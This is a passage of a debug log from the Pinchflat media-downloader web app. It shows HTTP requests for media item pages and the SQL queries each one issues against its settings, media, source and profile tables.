s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.753 [debug] QUERY OK source="settings" db=0.0ms idle=59.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.753 [debug] QUERY OK source="settings" db=0.0ms idle=59.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.754 [info] Sent 200 in 2ms 17:53:43.772 [info] GET /sources/2/media/367/edit 17:53:43.772 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "367", "source_id" => "2"} Pipelines: [:browser] 17:53:43.772 [debug] QUERY OK source="media_items" db=0.2ms idle=78.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [367] 17:53:43.773 [debug] QUERY OK source="settings" db=0.1ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.773 [debug] QUERY OK source="settings" db=0.1ms idle=20.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.773 [info] GET /sources/2/media/367 17:53:43.774 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "367", "source_id" => "2"} Pipelines: [:browser] 17:53:43.774 [debug] QUERY OK source="media_items" db=0.2ms idle=21.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [367] 17:53:43.775 [debug] QUERY OK source="settings" db=0.5ms idle=20.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.775 [debug] QUERY OK source="tasks" db=0.4ms idle=2.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [367] 17:53:43.775 [debug] QUERY OK source="sources" db=0.5ms idle=1.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.776 [info] Sent 200 in 4ms 17:53:43.776 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.776 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.777 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.777 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.779 [info] Sent 200 in 5ms 17:53:43.786 [info] GET /sources/2/media/368 17:53:43.786 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "368", "source_id" => "2"} Pipelines: [:browser] 17:53:43.786 [debug] QUERY OK source="media_items" db=0.1ms idle=10.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [368] 17:53:43.787 [debug] QUERY OK source="tasks" db=0.1ms idle=10.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [368] 17:53:43.787 [debug] QUERY OK source="sources" db=0.2ms idle=10.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.788 [debug] QUERY OK source="settings" db=0.1ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.788 [debug] QUERY OK source="settings" db=0.1ms idle=10.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.789 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.790 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.791 [info] Sent 200 in 5ms 17:53:43.795 [info] GET /sources/2/media/368/edit 17:53:43.795 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "368", "source_id" => "2"} Pipelines: [:browser] 17:53:43.796 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [368] 17:53:43.796 [debug] QUERY OK source="settings" db=0.1ms idle=8.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.796 [debug] QUERY OK source="settings" db=0.1ms idle=8.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.797 [debug] QUERY OK source="settings" db=0.1ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.798 [info] Sent 200 in 2ms 17:53:43.867 [info] GET /sources/2/media/770/edit 17:53:43.867 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "770", "source_id" => "2"} Pipelines: [:browser] 17:53:43.867 [debug] QUERY OK source="media_items" db=0.2ms idle=77.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [770] 17:53:43.868 [debug] QUERY OK source="settings" db=0.1ms idle=71.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.868 [debug] QUERY OK source="settings" db=0.1ms idle=71.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.868 [debug] QUERY OK source="settings" db=0.1ms idle=72.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.869 [info] Sent 200 in 2ms 17:53:43.886 [info] GET /sources/2/media/770 17:53:43.886 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "770", "source_id" => "2"} Pipelines: [:browser] 17:53:43.887 [debug] QUERY OK source="media_items" db=0.2ms idle=89.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [770] 17:53:43.887 [debug] QUERY OK source="tasks" db=0.1ms queue=0.2ms idle=19.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [770] 17:53:43.888 [debug] QUERY OK source="sources" db=0.2ms idle=19.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.888 [debug] QUERY OK source="settings" db=0.1ms idle=20.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.888 [debug] QUERY OK source="settings" db=0.1ms idle=19.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.889 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.890 [info] GET /sources/2/media/369 17:53:43.890 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "369", "source_id" => "2"} Pipelines: [:browser] 17:53:43.890 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.890 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [369] 17:53:43.891 [debug] QUERY OK source="tasks" db=0.2ms idle=2.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [369] 17:53:43.891 [debug] QUERY OK source="sources" db=0.3ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.891 [info] Sent 200 in 5ms 17:53:43.892 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.892 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.892 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.893 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.894 [info] Sent 200 in 4ms 17:53:43.902 [info] GET /sources/2/media/369/edit 17:53:43.902 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "369", "source_id" => "2"} Pipelines: [:browser] 17:53:43.902 [debug] QUERY OK source="media_items" db=0.1ms idle=10.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [369] 17:53:43.902 [debug] QUERY OK source="settings" db=0.1ms idle=10.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.903 [debug] QUERY OK source="settings" db=0.0ms idle=10.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.903 [debug] QUERY OK source="settings" db=0.0ms idle=10.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.904 [info] Sent 200 in 2ms 17:53:43.904 [info] GET /sources/2/media/771 17:53:43.905 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "771", "source_id" => "2"} Pipelines: [:browser] 17:53:43.905 [debug] QUERY OK source="media_items" db=0.1ms idle=11.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [771] 17:53:43.905 [debug] QUERY OK source="tasks" db=0.1ms idle=3.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [771] 17:53:43.906 [debug] QUERY OK source="sources" db=0.4ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.906 [debug] QUERY OK source="settings" db=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.906 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.907 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.908 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.909 [info] Sent 200 in 4ms 17:53:43.974 [info] GET /sources/2/media/370 17:53:43.974 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "370", "source_id" => "2"} Pipelines: [:browser] 17:53:43.974 [debug] QUERY OK source="media_items" db=0.1ms idle=68.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [370] 17:53:43.975 [debug] QUERY OK source="tasks" db=0.1ms idle=68.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [370] 17:53:43.975 [debug] QUERY OK source="sources" db=0.1ms idle=68.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", 